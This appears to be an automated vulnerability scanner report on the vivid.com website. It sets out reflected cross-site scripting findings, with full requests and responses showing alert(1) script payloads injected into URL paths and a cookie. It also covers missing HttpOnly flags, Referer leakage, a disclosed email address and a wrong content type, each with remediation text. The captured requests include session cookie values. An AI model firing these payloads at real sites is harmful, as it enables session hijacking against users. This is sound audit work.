Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60195"><script>alert(1)</script>9d38d3dd8c8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /celebs60195"><script>alert(1)</script>9d38d3dd8c8/ HTTP/1.1 Host: vivid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: nats_sess=477e2bc3344ef6b86b0ef9e148ccee04; nats=VividOrganic.1.1.1.0.0.0.0.0; __utmz=234878745.1293806934.1.1.utmcsr=vividentertainment.com|utmccn=(referral)|utmcmd=referral|utmcct=/; nats_cookie=http%253A%252F%252Fwww.vividentertainment.com%252F; PHPSESSID=205a9c483783668e44f1b1b21d2c4239; __utma=234878745.1274312438.1293806934.1293806934.1293806934.1; __utmc=234878745; __utmb=234878745.1.10.1293806934; nats_unique=VividOrganic.1.1.1.0.0.0.0.0;
Response
HTTP/1.1 404 Server: nginx/0.8.35 Date: Fri, 31 Dec 2010 14:56:58 GMT Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 10662
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script language="Javascript">if(top.lo ...[SNIP]... <link rel="canonical" href="http://members.vivid.com/celebs60195"><script>alert(1)</script>9d38d3dd8c8/" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfc6b"><script>alert(1)</script>7854f519b95 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /celebsbfc6b"><script>alert(1)</script>7854f519b95/0/ HTTP/1.1 Host: vivid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: nats_sess=477e2bc3344ef6b86b0ef9e148ccee04; nats=VividOrganic.1.1.1.0.0.0.0.0; __utmz=234878745.1293806934.1.1.utmcsr=vividentertainment.com|utmccn=(referral)|utmcmd=referral|utmcct=/; nats_cookie=http%253A%252F%252Fwww.vividentertainment.com%252F; PHPSESSID=205a9c483783668e44f1b1b21d2c4239; __utma=234878745.1274312438.1293806934.1293806934.1293806934.1; __utmc=234878745; __utmb=234878745.1.10.1293806934; nats_unique=VividOrganic.1.1.1.0.0.0.0.0;
Response
HTTP/1.1 404 Server: nginx/0.8.35 Date: Fri, 31 Dec 2010 14:52:24 GMT Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 10664
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script language="Javascript">if(top.lo ...[SNIP]... <link rel="canonical" href="http://members.vivid.com/celebsbfc6b"><script>alert(1)</script>7854f519b95/0/" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78566"><script>alert(1)</script>14b2b3d00b9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /celebs78566"><script>alert(1)</script>14b2b3d00b9/1/ HTTP/1.1 Host: vivid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: nats_sess=477e2bc3344ef6b86b0ef9e148ccee04; nats=VividOrganic.1.1.1.0.0.0.0.0; __utmz=234878745.1293806934.1.1.utmcsr=vividentertainment.com|utmccn=(referral)|utmcmd=referral|utmcct=/; nats_cookie=http%253A%252F%252Fwww.vividentertainment.com%252F; PHPSESSID=205a9c483783668e44f1b1b21d2c4239; __utma=234878745.1274312438.1293806934.1293806934.1293806934.1; __utmc=234878745; __utmb=234878745.1.10.1293806934; nats_unique=VividOrganic.1.1.1.0.0.0.0.0;
Response
HTTP/1.1 404 Server: nginx/0.8.35 Date: Fri, 31 Dec 2010 14:57:04 GMT Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 10664
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script language="Javascript">if(top.lo ...[SNIP]... <link rel="canonical" href="http://members.vivid.com/celebs78566"><script>alert(1)</script>14b2b3d00b9/1/" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 627cb"><script>alert(1)</script>8ef0197dbae was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /inl.warning627cb"><script>alert(1)</script>8ef0197dbae/ HTTP/1.1 Host: vivid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: nats_sess=477e2bc3344ef6b86b0ef9e148ccee04; nats=VividOrganic.1.1.1.0.0.0.0.0; __utmz=234878745.1293806934.1.1.utmcsr=vividentertainment.com|utmccn=(referral)|utmcmd=referral|utmcct=/; nats_cookie=http%253A%252F%252Fwww.vividentertainment.com%252F; PHPSESSID=205a9c483783668e44f1b1b21d2c4239; __utma=234878745.1274312438.1293806934.1293806934.1293806934.1; __utmc=234878745; __utmb=234878745.1.10.1293806934; nats_unique=VividOrganic.1.1.1.0.0.0.0.0;
Response
HTTP/1.1 404 Server: nginx/0.8.35 Date: Fri, 31 Dec 2010 14:52:12 GMT Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 10667
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script language="Javascript">if(top.lo ...[SNIP]... <link rel="canonical" href="http://members.vivid.com/inl.warning627cb"><script>alert(1)</script>8ef0197dbae/" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e83b"><script>alert(1)</script>cacbd7a578d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /iplog7e83b"><script>alert(1)</script>cacbd7a578d/ HTTP/1.1 Host: vivid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: nats_sess=477e2bc3344ef6b86b0ef9e148ccee04; nats=VividOrganic.1.1.1.0.0.0.0.0; __utmz=234878745.1293806934.1.1.utmcsr=vividentertainment.com|utmccn=(referral)|utmcmd=referral|utmcct=/; nats_cookie=http%253A%252F%252Fwww.vividentertainment.com%252F; PHPSESSID=205a9c483783668e44f1b1b21d2c4239; __utma=234878745.1274312438.1293806934.1293806934.1293806934.1; __utmc=234878745; __utmb=234878745.1.10.1293806934; nats_unique=VividOrganic.1.1.1.0.0.0.0.0;
Response
HTTP/1.1 404 Server: nginx/0.8.35 Date: Fri, 31 Dec 2010 14:56:50 GMT Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 10661
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script language="Javascript">if(top.lo ...[SNIP]... <link rel="canonical" href="http://members.vivid.com/iplog7e83b"><script>alert(1)</script>cacbd7a578d/" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55753"><script>alert(1)</script>90b711181ef was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /scripts_merge55753"><script>alert(1)</script>90b711181ef/ HTTP/1.1 Host: vivid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: nats_sess=477e2bc3344ef6b86b0ef9e148ccee04; nats=VividOrganic.1.1.1.0.0.0.0.0; __utmz=234878745.1293806934.1.1.utmcsr=vividentertainment.com|utmccn=(referral)|utmcmd=referral|utmcct=/; nats_cookie=http%253A%252F%252Fwww.vividentertainment.com%252F; PHPSESSID=205a9c483783668e44f1b1b21d2c4239; __utma=234878745.1274312438.1293806934.1293806934.1293806934.1; __utmc=234878745; __utmb=234878745.1.10.1293806934; nats_unique=VividOrganic.1.1.1.0.0.0.0.0;
Response
HTTP/1.1 404 Server: nginx/0.8.35 Date: Fri, 31 Dec 2010 14:56:45 GMT Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 10669
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script language="Javascript">if(top.lo ...[SNIP]... <link rel="canonical" href="http://members.vivid.com/scripts_merge55753"><script>alert(1)</script>90b711181ef/" /> ...[SNIP]...
The value of the nats cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65555"><script>alert(1)</script>c595c57ae8b was submitted in the nats cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /inl.warning/ HTTP/1.1 Host: vivid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: nats_sess=477e2bc3344ef6b86b0ef9e148ccee04; nats=VividOrganic.1.1.1.0.0.0.0.065555"><script>alert(1)</script>c595c57ae8b; __utmz=234878745.1293806934.1.1.utmcsr=vividentertainment.com|utmccn=(referral)|utmcmd=referral|utmcct=/; nats_cookie=http%253A%252F%252Fwww.vividentertainment.com%252F; PHPSESSID=205a9c483783668e44f1b1b21d2c4239; __utma=234878745.1274312438.1293806934.1293806934.1293806934.1; __utmc=234878745; __utmb=234878745.1.10.1293806934; nats_unique=VividOrganic.1.1.1.0.0.0.0.0;
Response
HTTP/1.1 200 OK Server: nginx/0.8.35 Date: Fri, 31 Dec 2010 14:52:08 GMT Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 6557
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /iplog/?get=1 HTTP/1.1 Host: vivid.com Proxy-Connection: keep-alive Referer: http://vivid.com/ X-Requested-With: XMLHttpRequest Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nats_cookie=http%3A%2F%2Fwww.vividentertainment.com%2F
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /inl.warning/?referrer=http%3A//www.vividentertainment.com/ HTTP/1.1 Host: vivid.com Proxy-Connection: keep-alive Referer: http://vivid.com/ X-Requested-With: XMLHttpRequest Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
The following email address was disclosed in the response:
jack@colorpowered.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /scripts_merge/?t=js&f=jquery-1.4.3,jquery-ui-1.8.min,functions,public/tour/scripts,jquery.autocomplete.pack,jquery.colorbox-min HTTP/1.1 Host: vivid.com Proxy-Connection: keep-alive Referer: http://vivid.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: nginx/0.8.35 Date: Fri, 31 Dec 2010 14:46:33 GMT Content-Type: text/javascript;charset=utf-8 Connection: keep-alive Keep-Alive: timeout=60 Expires: Fri, 31 Dec 2010 14:50:50 GMT Content-Length: 319224
/*! * jQuery JavaScript Library v1.4.3 * http://jquery.com/ * * Copyright 2010, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Siz ...[SNIP]... ery|createRange|moveEnd|moveStart|collapse|move'.split('|'),0,{})) ; // ColorBox v1.3.14 - a full featured, light-weight, customizable lightbox based on jQuery 1.3+ // Copyright (c) 2010 Jack Moore - jack@colorpowered.com // Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php (function(b,ib){var t="none",M="LoadedContent",c=false,v="resize.",o="y",q="auto",e=true,L="nofollow",m="x";func ...[SNIP]...
The response contains the following Content-type statement:
Content-Type: text/html; charset=utf-8
The response states that it contains HTML. However, it actually appears to contain plain text.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /iplog/?get=1 HTTP/1.1 Host: vivid.com Proxy-Connection: keep-alive Referer: http://vivid.com/ X-Requested-With: XMLHttpRequest Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nats_cookie=http%3A%2F%2Fwww.vividentertainment.com%2F